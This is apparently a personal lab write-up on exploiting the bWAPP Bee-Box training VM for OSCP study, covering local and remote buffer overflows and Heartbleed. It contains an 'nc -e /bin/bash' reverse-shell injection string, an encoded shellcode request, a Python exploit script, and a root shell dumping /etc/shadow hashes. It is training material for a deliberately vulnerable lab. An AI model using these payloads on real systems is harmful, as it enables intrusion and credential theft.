Last updated: Fri 21 Nov 2014 10:54:50
This document is an attempt to document some of the ways to attack the Bee-Box, the VM containing the famous collection of web app vulnerabilities known as bWAPP. I'm mainly trying to learn more about OWASP to complement my studies for the OSCP certification. The guide below assumes you're familiar with Kali linux as the attacking platform and common security apps such as Metasploit, nmap et al.
Let's start with OWASP's A9 section first (A1-A8 coming soon):
(FTI = Follow The Instructions, as given on the beebox webpage)
A9 - Known application vulnerabilities
Buffer Overflow (Local)
Let's first have a peek at the background of this bug first. Here is the line in bof_1.php that calls the vulnerable app:
if(isset($_POST["title"])) { $title = $_POST["title"]; $title = commandi($title); if($title == "") { echo "<p><font color=\"red\">Please enter a title...</font></p>"; } else { echo shell_exec("./apps/movie_search " . $title); } }
From this we see that the title is given straight as a commandline argument to the app.
Getting a shell the easy way: Because of the way the app filters commands, on the low security settings you could simply type
$(nc -e /bin/bash 10.0.5.2 4444)
in the search box and it will connect a shell straight to your trusty local nc listener. Very lame obviously and this doesn't work on medium or high security as the title then gets filtered through the commandi() function which formats it then according to php's escapeshellcmd() which properly takes care of our insidious search string.
Getting a shell the hard way: That's accomplished by looking at the hint: "HINT: \x90*354 + \x8f\x92\x04\x08 + [payload]"
Let's analyse this app a bit further from the commandline and see if we can get to the background of this hint. First let's make the app crash by giving it a string from Metasploit's pattern_create.rb:
# /usr/share/metasploit-framework/tools/pattern_create.rb 360 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9
root@bee-box:/var/www/bWAPP/apps# gdb --args ./movie_search "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2A" GNU gdb 6.8-debian Copyright (C) 2008 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "i486-linux-gnu"... (gdb) run Starting program: /var/www/bWAPP/apps/movie_search Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2A [Thread debugging using libthread_db enabled] [New Thread 0xb7b0c6c0 (LWP 15223)] Program received signal SIGSEGV, Segmentation fault. [Switching to Thread 0xb7b0c6c0 (LWP 15223)] 0x41386c41 in ?? () (gdb) info registers eax 0x0 0 ecx 0xbffff0ca -1073745718 edx 0x191 401 ebx 0xb7ccfff4 -1211301900 esp 0xbffff230 0xbffff230 ebp 0x376c4136 0x376c4136 esi 0xb7ffece0 -1207964448 edi 0x0 0 eip 0x41386c41 0x41386c41 eflags 0x10246 [ PF ZF IF RF ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51
It looks like the eip register got overwritten with our string, let's check:
# /usr/share/metasploit-framework/tools/pattern_offset.rb 0x41386c41 [*] Exact match at offset 354
Yup it did indeed. Now looking at the other registers, let's see if any of them contain other bits of the special string. The esp looks promising, let's check:
(gdb) x/100cb $esp 0xbffff230: 108 'l' 57 '9' 65 'A' 109 'm' 48 '0' 65 'A' 109 'm' 49 '1' 0xbffff238: 65 'A' 109 'm' 50 '2' 65 'A' 109 'm' 51 '3' 65 'A' 109 'm' 0xbffff240: 52 '4' 65 'A' 109 'm' 53 '5' 65 'A' 109 'm' 54 '6' 65 'A' 0xbffff248: 109 'm' 55 '7' 65 'A' 109 'm' 56 '8' 65 'A' 109 'm' 57 '9' 0xbffff250: 65 'A' 110 'n' 48 '0' 65 'A' 110 'n' 49 '1' 65 'A' 110 'n' 0xbffff258: 50 '2' 65 'A' 0 '\0' -73 '�' 39 '\ 0 '\0' 0 '\0' 0 '\0''' 0xbffff260: 0 '\0' -48 '�' -74 '�' -73 '�' 0 '\0' 0 '\0' 0 '\0' 0 '\0' 0xbffff268: 0 '\0' 0 '\0' 0 '\0' 0 '\0' 0 '\0' 0 '\0' 0 '\0' 0 '\0' 0xbffff270: 48 '0' 29 '\035' 5 '\005' 8 '\b' 48 '0' -3 '�' 4 '\004' 8 '\b' 0xbffff278: 48 '0' -3 '�' 4 '\004' 8 '\b' 5 '\005' 0 '\0' 0 '\0' 0 '\0' 0xbffff280: 0 '\0' 32 ' ' 0 '\0' 0 '\0' 0 '\0' 0 '\0' 0 '\0' 64 '@' 0xbffff288: 1 '\001' 0 '\0' 0 '\0' 0 '\0' 0 '\0' 0 '\0' 0 '\0' 0 '\0' 0xbffff290: -128 '\200' 51 '3' -31 '�' 1 '\001' (gdb)
# /usr/share/metasploit-framework/tools/pattern_offset.rb l9Am
[*] Exact match at offset 358
It is indeed filled with the rest of our string that came after the bit that landed in the eip register. That means if we can get the eip filled with an instruction that jumps to the address contained in the esp register, we just need to append our payload after said jump instruction. The instruction we're looking for is a jmp *%esp. Let's see if the binary contains one:
root@bee-box:/var/www/bWAPP/apps# objdump -D ./movie_search | grep jmp.*esp 804928f: ff e4 jmp *%esp
Sure enough, that's the address that the hint gives us. We will point the eip register to this address, which in turn jumps to the payload located after the eip address in our special string, thereby said payload, just like the hint suggested ;-) Now we can attack!
My rookie-ness in the infosec field shows as it took me a long time to figure out why standard metasploit payloads weren't working. Here are a number of issues I ran into:
- Since the app runs as the webserver user (www-data) the most interesting data won't be accessible straight away.
- Using plain payloads won't work, the payload is given in a string as an argument to the app, so any \x00 byte terminates and render useless the remainder of the payload string, hence the need for encoding to remove all \x00 bytes.
- For the payload linux/x86/read_file payload, the standard shikata_ga_nai or any other encoder for that matter made the app SIGSEGV even though the payloads runs fine in C templates (TODO: link to C template shellcode checker script?). It took me going down a detour using xor encoded shellcode produced by Shellforge (an awesome program!) to figure this out.
- For the linux/x86/exec with CMD=/bin/ps (for testing purposes), I finally found that the opt_sub encoder doesn't make the app crash and executes the payload as expected. I.e. in msfconole: "use linux/x86/exec", "set CMD /bin/ps", "generate -b '\x00' -e x86/opt_sub -t bash"
- Due to php layers and shell layers of interpretation, through trial and error I finally found one way of uploading the payload is through using the ZAP proxy, replacing the title variable with the binary payload, enclosed in single quotes, (hex 27) all urlencoded like so:
title=%27%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%8F%92%04%08%54%58%2D%05%FD%FD%FD%2D%01%01%01%01%2D%01%01%01%01%50%5C%25%01%01%01%01%25%02%02%02%02%2D%75%1C%30%7D%2D%01%01%01%01%2D%01%01%01%01%50%2D%14%DF%74%2B%2D%01%01%01%01%2D%01%01%01%01%50%2D%08%90%25%E1%2D%01%01%01%01%2D%01%01%01%01%50%2D%67%6C%FE%0B%2D%01%01%01%01%2D%01%01%01%01%50%2D%AC%15%24%60%2D%01%01%01%01%2D%01%01%01%01%50%2D%E7%77%7D%1A%2D%01%01%01%01%2D%01%01%01%01%50%2D%67%04%58%7F%2D%01%01%01%01%2D%01%01%01%01%50%2D%96%36%BA%F7%2D%01%01%01%01%2D%01%01%01%01%50%2D%39%CA%E7%7E%2D%01%01%01%01%2D%01%01%01%01%50%2D%92%0E%21%7D%2D%01%01%01%01%2D%01%01%01%01%50%2D%07%E6%58%0E%2D%01%01%01%01%2D%01%01%01%01%50%27&action=search
You could generate this by doing:
msf payload(exec) > generate -b '\x00' -e x86/opt_sub -t raw -f /tmp/payload.txt # { echo -n \'; cat /tmp/payload.txt; echo -n \'; } | perl -pe's/(.)/sprintf("%%%02X", ord($1))/seg'
When we modify the request in ZAP and let it submit, behold the result in our browser:
Here we see the output of the /bin/ps command that's encoded to run in the payload displayed on the page. That means our payload is finally working! Using the reverse shell payload and with the opt_sub encoder once again, I managed to get a shell connected:
# nc -v -l -q 0 -p 4444 listening on [any] 4444 ... connect to [10.0.5.2] from beebox [10.0.5.100] 37429 id uid=33(www-data) gid=33(www-data) groups=33(www-data) ls -la total 1588 drwxrwxr-x 13 root www-data 12288 Nov 18 03:02 . drwxrwxr-x 6 root www-data 4096 Nov 15 22:51 .. -rw-r--r-- 1 root root 20480 Nov 18 03:02 .bof_1.php.swp -rw-rw-r-- 1 root www-data 112 Nov 15 22:51 666 drwxrwxr-x 2 root www-data 4096 Nov 15 22:51 admin -rw-rw-r-- 1 root www-data 2093 Nov 15 22:51 aim.php ...
I guess we can sum this all up by noting that this exploit comes under the header of "Known application vulnerablities" i.e. someone else should have already done all this hard work and made a ready to use metasploit module for this vulnerability. (TODO: if I'm ever bored)
TODO 2: Figure out if user www-data can actually do anything useful with this shell
Buffer Overflow (Remote)
This sounds fun as the hint promises we can get r00t! W00t! (lame, I know.)
Let's find this "specific bWAPP network service" shall we? Here's some output of an nmap scan I ran earlier:
# Nmap 6.47 scan initiated Tue Nov 11 16:53:13 2014 as: nmap -vv -Pn -A -sC -sS -T 4 -oA /root/recon//beebox/nmap.tcp_quick beebox Nmap scan report for beebox (10.0.5.100) Host is up (0.0011s latency). Scanned at 2014-11-11 16:53:14 GMT for 140s Not shown: 983 closed ports PORT STATE SERVICE VERSION 21/tcp open ftp ProFTPD 1.3.1 ... 514/tcp open shell? 666/tcp open doom? 3306/tcp open mysql MySQL 5.0.96-0ubuntu3 ...
Hmm, most other services are on well known port numbers, but what is this strange port 666? Let's have a look:
# telnet beebox 666 Trying 10.0.5.100... Connected to beebox. Escape character is '^]'. iron *** bWAPP Movie Service *** Matching movies: 1 Iron Man:2008:Tony Stark:action:tt0371746 Connection closed by foreign host.
I typed the word "iron", pressed enter and sure enough, there's our familiar movie service. It doesn't even seem to work properly, judging by the movies table in the bWAPP mysql database, as using the word "the" gives 0 movies even though several start with that word, but hey, we don't care about movies, only about root shells, right? Let's use the same reverse shell payload encoded by opt_sub as we used before, since we know it should (hopefully) work here as well. This is the script I use:
#!/usr/bin/python import socket shellcode = ( "\x54\x58\x2d\x8d\xfc\xfd\xfd\x2d\x01\x01\x01\x01\x2d\x01" ... "\x01\x2d\x01\x01\x01\x01\x50" ) # HINT: \x90*354 + \xa7\x8f\x04\x08 + [payload] (remote) ret = "\xa7\x8f\x04\x08" buffer = '\x90' * 354 + ret + shellcode + "\r\n" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) print "\nSending evil buffer..." s.connect(('10.0.5.100',666)) #s.connect(('10.0.5.100',512)) s.send(buffer) data = s.recv(1024) s.close()
There's no need for the single quotes here as this process runs directly on the port, without layers of php and shell to reinterpret out precious strings. Upon running this script, let's see what happens to our listening netcat:
# nc -v -l -q 0 -p 4444 listening on [any] 4444 ... connect to [10.0.5.2] from beebox [10.0.5.100] 47140 id uid=0(root) gid=0(root) cat /etc/shadow root:$1$6.aigTP1$FC1TuoITEYSQwRV0hi6gj/:15792:0:99999:7::: daemon:*:13991:0:99999:7::: bin:*:13991:0:99999:7::: ...
And that's a wrap folks, as a root shell has been gained.
Heartbleed
FTI, as for an alternative exploit:
On Kali:
gcc ./32791.c -o ./hb -Wl,-Bstatic -lssl -Wl,-Bdynamic -lssl3 -lcrypto ./hb -s 10.0.5.100 -p 8443 -f test.txt -t 2048
And see perhaps interesting stuff in test.txt! Here's what I found in mine:
# strings test.txt goKdD= (SK{ heets/stylesheet.css Connection: keep-alive Pragma: no-cache Cache-Control: no-cache Cache-Control: no-cache ug=submit<a BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB&action=search BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB&action=searchv D<go l=0; PHPSESSID=cc6682f294d75910df3f47376f0762ee DNT: 1 Connection: keep-alive If-Modified-Since: Sat, 15 Nov 2014 21:51:20 GMT If-None-Match: "5467cad8-c80" Host: beebox:8443
Boring right? Some http headers and some long test strings I had submitted earlier. I guess you need a bit of luck to find something useful like login credentials with this exploit.
That's it for now, I'll be adding more beebox exploits as I find them and will update this page accordingly.
Copyright (c) 2014-2015 Erik Taal <[email protected]>